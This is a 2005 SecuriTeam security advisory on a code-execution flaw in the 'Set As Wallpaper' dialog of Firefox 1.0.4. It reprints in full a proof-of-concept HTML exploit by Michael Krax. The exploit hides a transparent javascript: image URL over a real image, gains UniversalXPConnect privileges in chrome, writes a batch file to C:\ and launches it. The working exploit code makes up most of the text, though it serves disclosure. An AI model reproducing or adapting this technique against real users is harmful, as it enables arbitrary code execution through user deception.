[NEWS] Mozilla Firefox "Set As Wallpaper" Code Execution Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 07/13/05

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      Mozilla Firefox "Set As Wallpaper" Code Execution Exploit
    ------------------------------------------------------------------------

    SUMMARY

     <> Mozilla Firefox is a free, cross-platform, graphical web browser
    developed by the Mozilla Foundation and hundreds of volunteers.

    An error in the handling of wallpapers in Mozilla Firefoxcould be
    exploited by attackers to run arbitary code on a vulnerable system by
    convincing a user to use the "Set As Wallpaper" context menu item on a
    specially crafted image.

    DETAILS

    Vulnerable Systems:
     * Mozilla Firefox version 1.0.4

    Immune Systems:
     * Mozilla Firefox version 1.0.5

    The "Set As Wallpaper" dialog takes the image url as a parameter without
    validating it. This allows to execute javascript in chrome and to run
    arbitrary code. By using absolute positioning and the moz-opacity filter
    an attacker can easily fool the user to think he is setting a valid image
    as wallpaper.

    Exploit Code:
    // Exploit by Michael Krax
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
    <head>
    <title>Firewalling - Proof-of-Concept</title>
    <script>
    function stopload() {
    // in some cases the javascript url never stops to load
    // therefore we force a stop after the real image got loaded
    window.setTimeout("window.stop()",1000);
    }
    </script>
    </head>
    <body>
    <div style="font-family:Verdana;font-size:11px;">

    <div style="font-family:Verdana;font-size:15px;font-weight:bold;">
    Firewalling - Proof-of-Concept</div>
    <div style="width:600px">
    The "Set As Wallpaper" dialog takes the image url as a parameter without
    validating it.
    This allows to execute javascript in chrome and to run arbitrary code.
    <br><br>
    By using absolute positioning and the moz-opacity filter an attacker can
    easily fool the
    user to think he is setting a valid image as wallpaper.
    <br><br>
    Right click on the image and choose "Set As Wallpaper". The demo requests
    UniversalXPConnect rights, creates c:\booom.bat and launches the batch
    file
    that shows a directoy listing in a dos box (Windows only).
    <br><br>

    <div style="position:relative; width:300px; height:250px;">
    <img
    src="javascript:/*-----------------------------*/eval('if(document.location.href.
    substr(0,6)==\'chrome\'){netscape.security.PrivilegeManager.enablePrivilege(\'
    UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].
    createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'c:\\\\
    booom.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,
    420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;
    1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init
    (file,0x04|0x08|0x20,420,0);output=\'@ECHO
    OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE
    \\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch
    ();}else{void(0)}')" width="300" height="250" alt="" border="0"
    style="position:
    absolute; left:0px; top:0px; z-index:2; -moz-opacity:0;">
    <img src="image.png" width="300" height="250" alt="" border="0"
    style="position:
    absolute; left:0px; top:0px; z-index:1;" onload="stopload()">
    </div>
    </div>
    </body>

    </html>

    ADDITIONAL INFORMATION

    The original article can be found at:
    <http://www.frsirt.com/exploits/20050712.mfsa2005-47exploit.php>
    http://www.frsirt.com/exploits/20050712.mfsa2005-47exploit.php

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